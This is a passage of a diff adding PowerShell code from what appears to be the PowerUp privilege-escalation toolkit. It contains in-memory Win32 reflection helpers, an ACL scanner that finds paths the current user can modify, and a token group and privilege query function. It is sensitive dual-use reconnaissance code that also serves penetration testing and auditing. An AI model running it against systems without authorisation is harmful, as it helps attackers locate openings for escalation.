return $Assembly + } + } + + $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) + $Domain = $AppDomain + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) + + return $ModuleBuilder +} + + +# A helper function used to reduce typing while defining function +# prototypes for Add-Win32Type. +function func { + Param ( + [Parameter(Position = 0, Mandatory = $True)] + [String] + $DllName, + + [Parameter(Position = 1, Mandatory = $True)] + [string] + $FunctionName, + + [Parameter(Position = 2, Mandatory = $True)] + [Type] + $ReturnType, + + [Parameter(Position = 3)] + [Type[]] + $ParameterTypes, + + [Parameter(Position = 4)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention, + + [Parameter(Position = 5)] + [Runtime.InteropServices.CharSet] + $Charset, + + [String] + $EntryPoint, + + [Switch] + $SetLastError + ) + + $Properties = @{ + DllName = $DllName + FunctionName = $FunctionName + ReturnType = $ReturnType + } + + if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } + if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } + if ($Charset) { $Properties['Charset'] = $Charset } + if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } + if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint } + + New-Object PSObject -Property $Properties +} + + +function Add-Win32Type +{ +<# +.SYNOPSIS + +Creates a .NET type for an unmanaged Win32 function. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: func + +.DESCRIPTION + +Add-Win32Type enables you to easily interact with unmanaged (i.e. +Win32 unmanaged) functions in PowerShell. After providing +Add-Win32Type with a function signature, a .NET type is created +using reflection (i.e. csc.exe is never called like with Add-Type). + +The 'func' helper function can be used to reduce typing when defining +multiple function definitions. + +.PARAMETER DllName + +The name of the DLL. + +.PARAMETER FunctionName + +The name of the target function. + +.PARAMETER EntryPoint + +The DLL export function name. This argument should be specified if the +specified function name is different than the name of the exported +function. + +.PARAMETER ReturnType + +The return type of the function. + +.PARAMETER ParameterTypes + +The function parameters. + +.PARAMETER NativeCallingConvention + +Specifies the native calling convention of the function. Defaults to +stdcall. + +.PARAMETER Charset + +If you need to explicitly call an 'A' or 'W' Win32 function, you can +specify the character set. + +.PARAMETER SetLastError + +Indicates whether the callee calls the SetLastError Win32 API +function before returning from the attributed method. + +.PARAMETER Module + +The in-memory module that will host the functions. Use +New-InMemoryModule to define an in-memory module. + +.PARAMETER Namespace + +An optional namespace to prepend to the type. Add-Win32Type defaults +to a namespace consisting only of the name of the DLL. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$FunctionDefinitions = @( + (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), + (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), + (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) +) + +$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' +$Kernel32 = $Types['kernel32'] +$Ntdll = $Types['ntdll'] +$Ntdll::RtlGetCurrentPeb() +$ntdllbase = $Kernel32::GetModuleHandle('ntdll') +$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') + +.NOTES + +Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 + +When defining multiple function prototypes, it is ideal to provide +Add-Win32Type with an array of function signatures. That way, they +are all incorporated into the same in-memory module. +#> + + [OutputType([Hashtable])] + Param( + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] + [String] + $DllName, + + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] + [String] + $FunctionName, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [String] + $EntryPoint, + + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] + [Type] + $ReturnType, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Type[]] + $ParameterTypes, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Runtime.InteropServices.CharSet] + $Charset = [Runtime.InteropServices.CharSet]::Auto, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Switch] + $SetLastError, + + [Parameter(Mandatory=$True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [ValidateNotNull()] + [String] + $Namespace = '' + ) + + BEGIN + { + $TypeHash = @{} + } + + PROCESS + { + if ($Module -is [Reflection.Assembly]) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") + } + else + { + $TypeHash[$DllName] = $Module.GetType($DllName) + } + } + else + { + # Define one type for each DLL + if (!$TypeHash.ContainsKey($DllName)) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') + } + else + { + $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') + } + } + + $Method = $TypeHash[$DllName].DefineMethod( + $FunctionName, + 'Public,Static,PinvokeImpl', + $ReturnType, + $ParameterTypes) + + # Make each ByRef parameter an Out parameter + $i = 1 + foreach($Parameter in $ParameterTypes) + { + if ($Parameter.IsByRef) + { + [void] $Method.DefineParameter($i, 'Out', $null) + } + + $i++ + } + + $DllImport = [Runtime.InteropServices.DllImportAttribute] + $SetLastErrorField = $DllImport.GetField('SetLastError') + $CallingConventionField = $DllImport.GetField('CallingConvention') + $CharsetField = $DllImport.GetField('CharSet') + $EntryPointField = $DllImport.GetField('EntryPoint') + if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } + + if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName } + + # Equivalent to C# version of [DllImport(DllName)] + $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) + $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, + $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), + [Reflection.FieldInfo[]] @($SetLastErrorField, + $CallingConventionField, + $CharsetField, + $EntryPointField), + [Object[]] @($SLEValue, + ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), + ([Runtime.InteropServices.CharSet] $Charset), + $ExportedFuncName)) + + $Method.SetCustomAttribute($DllImportAttribute) + } + } + + END + { + if ($Module -is [Reflection.Assembly]) + { + return $TypeHash + } + + $ReturnTypes = @{} + + foreach ($Key in $TypeHash.Keys) + { + $Type = $TypeHash[$Key].CreateType() + + $ReturnTypes[$Key] = $Type + } + + return $ReturnTypes + } +} + + +function psenum { +<# +.SYNOPSIS + +Creates an in-memory enumeration for use in your PowerShell session. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +The 'psenum' function facilitates the creation of enums entirely in +memory using as close to a "C style" as PowerShell will allow. + +.PARAMETER Module + +The in-memory module that will host the enum. Use +New-InMemoryModule to define an in-memory module. + +.PARAMETER FullName + +The fully-qualified name of the enum. + +.PARAMETER Type + +The type of each enum element. + +.PARAMETER EnumElements + +A hashtable of enum elements. + +.PARAMETER Bitfield + +Specifies that the enum should be treated as a bitfield. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ + UNKNOWN = 0 + NATIVE = 1 # Image doesn't require a subsystem. + WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. + WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. + OS2_CUI = 5 # Image runs in the OS/2 character subsystem. + POSIX_CUI = 7 # Image runs in the Posix character subsystem. + NATIVE_WINDOWS = 8 # Image is a native Win9x driver. + WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. + EFI_APPLICATION = 10 + EFI_BOOT_SERVICE_DRIVER = 11 + EFI_RUNTIME_DRIVER = 12 + EFI_ROM = 13 + XBOX = 14 + WINDOWS_BOOT_APPLICATION = 16 +} + +.NOTES + +PowerShell purists may disagree with the naming of this function but +again, this was developed in such a way so as to emulate a "C style" +definition as closely as possible. Sorry, I'm not going to name it +New-Enum. :P +#> + + [OutputType([Type])] + Param ( + [Parameter(Position = 0, Mandatory=$True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 1, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 2, Mandatory=$True)] + [Type] + $Type, + + [Parameter(Position = 3, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $EnumElements, + + [Switch] + $Bitfield + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + $EnumType = $Type -as [Type] + + $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) + + if ($Bitfield) + { + $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) + $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) + $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) + } + + foreach ($Key in $EnumElements.Keys) + { + # Apply the specified enum type to each element + $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) + } + + $EnumBuilder.CreateType() +} + + +# A helper function used to reduce typing while defining struct +# fields. +function field { + Param ( + [Parameter(Position = 0, Mandatory=$True)] + [UInt16] + $Position, + + [Parameter(Position = 1, Mandatory=$True)] + [Type] + $Type, + + [Parameter(Position = 2)] + [UInt16] + $Offset, + + [Object[]] + $MarshalAs + ) + + @{ + Position = $Position + Type = $Type -as [Type] + Offset = $Offset + MarshalAs = $MarshalAs + } +} + + +function struct +{ +<# +.SYNOPSIS + +Creates an in-memory struct for use in your PowerShell session. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: field + +.DESCRIPTION + +The 'struct' function facilitates the creation of structs entirely in +memory using as close to a "C style" as PowerShell will allow. Struct +fields are specified using a hashtable where each field of the struct +is comprosed of the order in which it should be defined, its .NET +type, and optionally, its offset and special marshaling attributes. + +One of the features of 'struct' is that after your struct is defined, +it will come with a built-in GetSize method as well as an explicit +converter so that you can easily cast an IntPtr to the struct without +relying upon calling SizeOf and/or PtrToStructure in the Marshal +class. + +.PARAMETER Module + +The in-memory module that will host the struct. Use +New-InMemoryModule to define an in-memory module. + +.PARAMETER FullName + +The fully-qualified name of the struct. + +.PARAMETER StructFields + +A hashtable of fields. Use the 'field' helper function to ease +defining each field. + +.PARAMETER PackingSize + +Specifies the memory alignment of fields. + +.PARAMETER ExplicitLayout + +Indicates that an explicit offset for each field will be specified. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ + DOS_SIGNATURE = 0x5A4D + OS2_SIGNATURE = 0x454E + OS2_SIGNATURE_LE = 0x454C + VXD_SIGNATURE = 0x454C +} + +$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ + e_magic = field 0 $ImageDosSignature + e_cblp = field 1 UInt16 + e_cp = field 2 UInt16 + e_crlc = field 3 UInt16 + e_cparhdr = field 4 UInt16 + e_minalloc = field 5 UInt16 + e_maxalloc = field 6 UInt16 + e_ss = field 7 UInt16 + e_sp = field 8 UInt16 + e_csum = field 9 UInt16 + e_ip = field 10 UInt16 + e_cs = field 11 UInt16 + e_lfarlc = field 12 UInt16 + e_ovno = field 13 UInt16 + e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) + e_oemid = field 15 UInt16 + e_oeminfo = field 16 UInt16 + e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) + e_lfanew = field 18 Int32 +} + +# Example of using an explicit layout in order to create a union. +$TestUnion = struct $Mod TestUnion @{ + field1 = field 0 UInt32 0 + field2 = field 1 IntPtr 0 +} -ExplicitLayout + +.NOTES + +PowerShell purists may disagree with the naming of this function but +again, this was developed in such a way so as to emulate a "C style" +definition as closely as possible. Sorry, I'm not going to name it +New-Struct. :P +#> + + [OutputType([Type])] + Param ( + [Parameter(Position = 1, Mandatory=$True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 2, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 3, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $StructFields, + + [Reflection.Emit.PackingSize] + $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, + + [Switch] + $ExplicitLayout + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, + Class, + Public, + Sealed, + BeforeFieldInit' + + if ($ExplicitLayout) + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout + } + else + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout + } + + $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) + $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + + $Fields = New-Object Hashtable[]($StructFields.Count) + + # Sort each field according to the orders specified + # Unfortunately, PSv2 doesn't have the luxury of the + # hashtable [Ordered] accelerator. + foreach ($Field in $StructFields.Keys) + { + $Index = $StructFields[$Field]['Position'] + $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} + } + + foreach ($Field in $Fields) + { + $FieldName = $Field['FieldName'] + $FieldProp = $Field['Properties'] + + $Offset = $FieldProp['Offset'] + $Type = $FieldProp['Type'] + $MarshalAs = $FieldProp['MarshalAs'] + + $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') + + if ($MarshalAs) + { + $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) + if ($MarshalAs[1]) + { + $Size = $MarshalAs[1] + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, + $UnmanagedType, $SizeConst, @($Size)) + } + else + { + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) + } + + $NewField.SetCustomAttribute($AttribBuilder) + } + + if ($ExplicitLayout) { $NewField.SetOffset($Offset) } + } + + # Make the struct aware of its own size. + # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! + $SizeMethod = $StructBuilder.DefineMethod('GetSize', + 'Public, Static', + [Int], + [Type[]] @()) + $ILGenerator = $SizeMethod.GetILGenerator() + # Thanks for the help, Jason Shirk! + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) + + # Allow for explicit casting from an IntPtr + # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! + $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', + 'PrivateScope, Public, Static, HideBySig, SpecialName', + $StructBuilder, + [Type[]] @([IntPtr])) + $ILGenerator2 = $ImplicitConverter.GetILGenerator() + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) + + $StructBuilder.CreateType() +} + + +######################################################## +# +# PowerUp Helpers +# +######################################################## + +function Get-ModifiablePath { +<# +.SYNOPSIS + +Parses a passed string containing multiple possible file/folder paths and returns +the file paths where the current user has modification rights. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Takes a complex path specification of an initial file/folder path with possible +configuration files, 'tokenizes' the string in a number of possible ways, and +enumerates the ACLs for each path that currently exists on the system. Any path that +the current user has modification rights on is returned in a custom object that contains +the modifiable path, associated permission set, and the IdentityReference with the specified +rights. The SID of the current user and any group he/she are a part of are used as the +comparison set against the parsed path DACLs. + +.PARAMETER Path + +The string path to parse for modifiable files. Required + +.PARAMETER Literal + +Switch. Treat all paths as literal (i.e. don't do 'tokenization'). + +.EXAMPLE + +'"C:\Temp\blah.exe" -f "C:\Temp\config.ini"' | Get-ModifiablePath + +Path Permissions IdentityReference +---- ----------- ----------------- +C:\Temp\blah.exe {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... +C:\Temp\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... + +.EXAMPLE + +Get-ChildItem C:\Vuln\ -Recurse | Get-ModifiablePath + +Path Permissions IdentityReference +---- ----------- ----------------- +C:\Vuln\blah.bat {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... +C:\Vuln\config.ini {ReadAttributes, ReadCo... NT AUTHORITY\Authentic... +... + +.OUTPUTS + +PowerUp.TokenPrivilege.ModifiablePath + +Custom PSObject containing the Permissions, ModifiablePath, IdentityReference for +a modifiable path. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.ModifiablePath')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('FullName')] + [String[]] + $Path, + + [Alias('LiteralPaths')] + [Switch] + $Literal + ) + + BEGIN { + # from http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights + $AccessMask = @{ + [uint32]'0x80000000' = 'GenericRead' + [uint32]'0x40000000' = 'GenericWrite' + [uint32]'0x20000000' = 'GenericExecute' + [uint32]'0x10000000' = 'GenericAll' + [uint32]'0x02000000' = 'MaximumAllowed' + [uint32]'0x01000000' = 'AccessSystemSecurity' + [uint32]'0x00100000' = 'Synchronize' + [uint32]'0x00080000' = 'WriteOwner' + [uint32]'0x00040000' = 'WriteDAC' + [uint32]'0x00020000' = 'ReadControl' + [uint32]'0x00010000' = 'Delete' + [uint32]'0x00000100' = 'WriteAttributes' + [uint32]'0x00000080' = 'ReadAttributes' + [uint32]'0x00000040' = 'DeleteChild' + [uint32]'0x00000020' = 'Execute/Traverse' + [uint32]'0x00000010' = 'WriteExtendedAttributes' + [uint32]'0x00000008' = 'ReadExtendedAttributes' + [uint32]'0x00000004' = 'AppendData/AddSubdirectory' + [uint32]'0x00000002' = 'WriteData/AddFile' + [uint32]'0x00000001' = 'ReadData/ListDirectory' + } + + $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() + $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value + $CurrentUserSids += $UserIdentity.User.Value + $TranslatedIdentityReferences = @{} + } + + PROCESS { + + ForEach($TargetPath in $Path) { + + $CandidatePaths = @() + + # possible separator character combinations + $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ") + + if ($PSBoundParameters['Literal']) { + + $TempPath = $([System.Environment]::ExpandEnvironmentVariables($TargetPath)) + + if (Test-Path -Path $TempPath -ErrorAction SilentlyContinue) { + $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path + } + else { + # if the path doesn't exist, check if the parent folder allows for modification + $ParentPath = Split-Path -Path $TempPath -Parent -ErrorAction SilentlyContinue + if ($ParentPath -and (Test-Path -Path $ParentPath)) { + $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path + } + } + } + else { + ForEach($SeparationCharacterSet in $SeparationCharacterSets) { + $TargetPath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object { + + if (($SeparationCharacterSet -notmatch ' ')) { + + $TempPath = $([System.Environment]::ExpandEnvironmentVariables($_)).Trim() + + if ($TempPath -and ($TempPath -ne '')) { + if (Test-Path -Path $TempPath -ErrorAction SilentlyContinue) { + # if the path exists, resolve it and add it to the candidate list + $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path + } + + else { + # if the path doesn't exist, check if the parent folder allows for modification + try { + $ParentPath = (Split-Path -Path $TempPath -Parent -ErrorAction SilentlyContinue).Trim() + if ($ParentPath -and ($ParentPath -ne '') -and (Test-Path -Path $ParentPath -ErrorAction SilentlyContinue)) { + $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path + } + } + catch {} + } + } + } + else { + # if the separator contains a space + $CandidatePaths += Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path | ForEach-Object {$_.Trim()} | Where-Object {($_ -ne '') -and (Test-Path -Path $_)} + } + } + } + } + + $CandidatePaths | Sort-Object -Unique | ForEach-Object { + $CandidatePath = $_ + Get-Acl -Path $CandidatePath | Select-Object -ExpandProperty Access | Where-Object {($_.AccessControlType -match 'Allow')} | ForEach-Object { + + $FileSystemRights = $_.FileSystemRights.value__ + + $Permissions = $AccessMask.Keys | Where-Object { $FileSystemRights -band $_ } | ForEach-Object { $AccessMask[$_] } + + # the set of permission types that allow for modification + $Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile', 'AppendData/AddSubdirectory') -IncludeEqual -ExcludeDifferent + + if ($Comparison) { + if ($_.IdentityReference -notmatch '^S-1-5.*') { + if (-not ($TranslatedIdentityReferences[$_.IdentityReference])) { + # translate the IdentityReference if it's a username and not a SID + $IdentityUser = New-Object System.Security.Principal.NTAccount($_.IdentityReference) + $TranslatedIdentityReferences[$_.IdentityReference] = $IdentityUser.Translate([System.Security.Principal.SecurityIdentifier]) | Select-Object -ExpandProperty Value + } + $IdentitySID = $TranslatedIdentityReferences[$_.IdentityReference] + } + else { + $IdentitySID = $_.IdentityReference + } + + if ($CurrentUserSids -contains $IdentitySID) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ModifiablePath' $CandidatePath + $Out | Add-Member Noteproperty 'IdentityReference' $_.IdentityReference + $Out | Add-Member Noteproperty 'Permissions' $Permissions + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiablePath') + $Out + } + } + } + } + } + } +} + + +function Get-TokenInformation { +<# +.SYNOPSIS + +Helpers that returns token groups or privileges for a passed process/thread token. +Used by Get-ProcessTokenGroup and Get-ProcessTokenPrivilege. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +Wraps the GetTokenInformation() Win 32API call to query the given token for +either token groups (-InformationClass "Groups") or privileges (-InformationClass "Privileges"). +For token groups, group is iterated through and the SID structure is converted to a readable +string using ConvertSidToStringSid(), and the unique list of SIDs the user is a part of +(disabled or not) is returned as a string array. + +.PARAMETER TokenHandle + +The IntPtr token handle to query. Required. + +.PARAMETER InformationClass + +The type of information to query for the token handle, either 'Groups', 'Privileges', or 'Type'. + +.OUTPUTS + +PowerUp.TokenGroup + +Outputs a custom object containing the token group (SID/attributes) for the specified token if +"-InformationClass 'Groups'" is passed. + +PowerUp.TokenPrivilege + +Outputs a custom object containing the token privilege (name/attributes) for the specified token if +"-InformationClass 'Privileges'" is passed + +PowerUp.TokenType + +Outputs a custom object containing the token type and impersonation level for the specified token if +"-InformationClass 'Type'" is passed + +.LINK + +https://msdn.microsoft.com/en-us/library/windows/desktop/aa446671(v=vs.85).aspx +https://msdn.microsoft.com/en-us/library/windows/desktop/aa379624(v=vs.85).aspx +https://msdn.microsoft.com/en-us/library/windows/desktop/aa379554(v=vs.85).aspx +https://msdn.microsoft.com/en-us/library/windows/desktop/aa379626(v=vs.85).aspx +https://msdn.microsoft.com/en-us/library/windows/desktop/aa379630(v=vs.85).aspx +#> + + [OutputType('PowerUp.TokenGroup')] + [OutputType('PowerUp.TokenPrivilege')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)] + [Alias('hToken', 'Token')] + [ValidateNotNullOrEmpty()] + [IntPtr] + $TokenHandle, + + [String[]] + [ValidateSet('Groups', 'Privileges', 'Type')] + $InformationClass = 'Privileges' + ) + + PROCESS { + if ($InformationClass -eq 'Groups') { + # query the process token with the TOKEN_INFORMATION_CLASS = 2 enum to retrieve a TOKEN_GROUPS structure + + # initial query to determine the necessary buffer size + $TokenGroupsPtrSize = 0 + $Success = $Advapi32::GetTokenInformation($TokenHandle, 2, 0, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize) + [IntPtr]$TokenGroupsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenGroupsPtrSize) + + $Success = $Advapi32::GetTokenInformation($TokenHandle, 2, $TokenGroupsPtr, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Success) { + $TokenGroups = $TokenGroupsPtr -as $TOKEN_GROUPS + For ($i=0; $i -lt $TokenGroups.GroupCount; $i++) { + # convert each token group SID to a displayable string + + if ($TokenGroups.Groups[$i].SID) { + $SidString = '' + $Result = $Advapi32::ConvertSidToStringSid($TokenGroups.Groups[$i].SID, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($Result -eq 0) { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + else { + $GroupSid = New-Object PSObject + $GroupSid | Add-Member Noteproperty 'SID' $SidString + # cast the atttributes field as our SidAttributes enum + $GroupSid | Add-Member Noteproperty 'Attributes' ($TokenGroups.Groups[$i].Attributes -as $SidAttributes) + $GroupSid | Add-Member Noteproperty 'TokenHandle' $TokenHandle + $GroupSid.PSObject.TypeNames.Insert(0, 'PowerUp.TokenGroup') + $GroupSid + } + } + } + } + else { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenGroupsPtr) + } + elseif ($InformationClass -eq 'Privileges') { + # query the process token with the TOKEN_INFORMATION_CLASS = 3 enum to retrieve a TOKEN_PRIVILEGES structure + + # initial query to determine the necessary buffer size + $TokenPrivilegesPtrSize = 0 + $Success = $Advapi32::GetTokenInformation($TokenHandle, 3, 0, $TokenPrivilegesPtrSize, [ref]$TokenPrivilegesPtrSize) + [IntPtr]$TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivilegesPtrSize) + + $Success = $Advapi32::GetTokenInformation($TokenHandle, 3, $TokenPrivilegesPtr, $TokenPrivilegesPtrSize, [ref]$TokenPrivilegesPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Success) { + $TokenPrivileges = $TokenPrivilegesPtr -as $TOKEN_PRIVILEGES + For ($i=0; $i -lt $TokenPrivileges.PrivilegeCount; $i++) { + $Privilege = New-Object PSObject + $Privilege | Add-Member Noteproperty 'Privilege' $TokenPrivileges.Privileges[$i].Luid.LowPart.ToString() + # cast the lower Luid field as our LuidAttributes enum + $Privilege | Add-Member Noteproperty 'Attributes' ($TokenPrivileges.Privileges[$i].Attributes -as $LuidAttributes) + $Privilege | Add-Member Noteproperty 'TokenHandle' $TokenHandle + $Privilege.PSObject.TypeNames.Insert(0, 'PowerUp.TokenPrivilege') + $Privilege + } + } + else { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) + } + else { + $TokenResult = New-Object PSObject + + # query the process token with the TOKEN_INFORMATION_CLASS = 8 enum to retrieve a TOKEN_TYPE enum + + # initial query to determine the necessary buffer size + $TokenTypePtrSize = 0 + $Success = $Advapi32::GetTokenInformation($TokenHandle, 8, 0, $TokenTypePtrSize, [ref]$TokenTypePtrSize) + [IntPtr]$TokenTypePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenTypePtrSize) + + $Success = $Advapi32::GetTokenInformation($TokenHandle, 8, $TokenTypePtr, $TokenTypePtrSize, [ref]$TokenTypePtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Success) { + $Temp = $TokenTypePtr -as $TOKEN_TYPE + $TokenResult | Add-Member Noteproperty 'Type' $Temp.Type + } + else { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenTypePtr) + + # now query the process token with the TOKEN_INFORMATION_CLASS = 8 enum to retrieve a SECURITY_IMPERSONATION_LEVEL enum + + # initial query to determine the necessary buffer size + $TokenImpersonationLevelPtrSize = 0 + $Success = 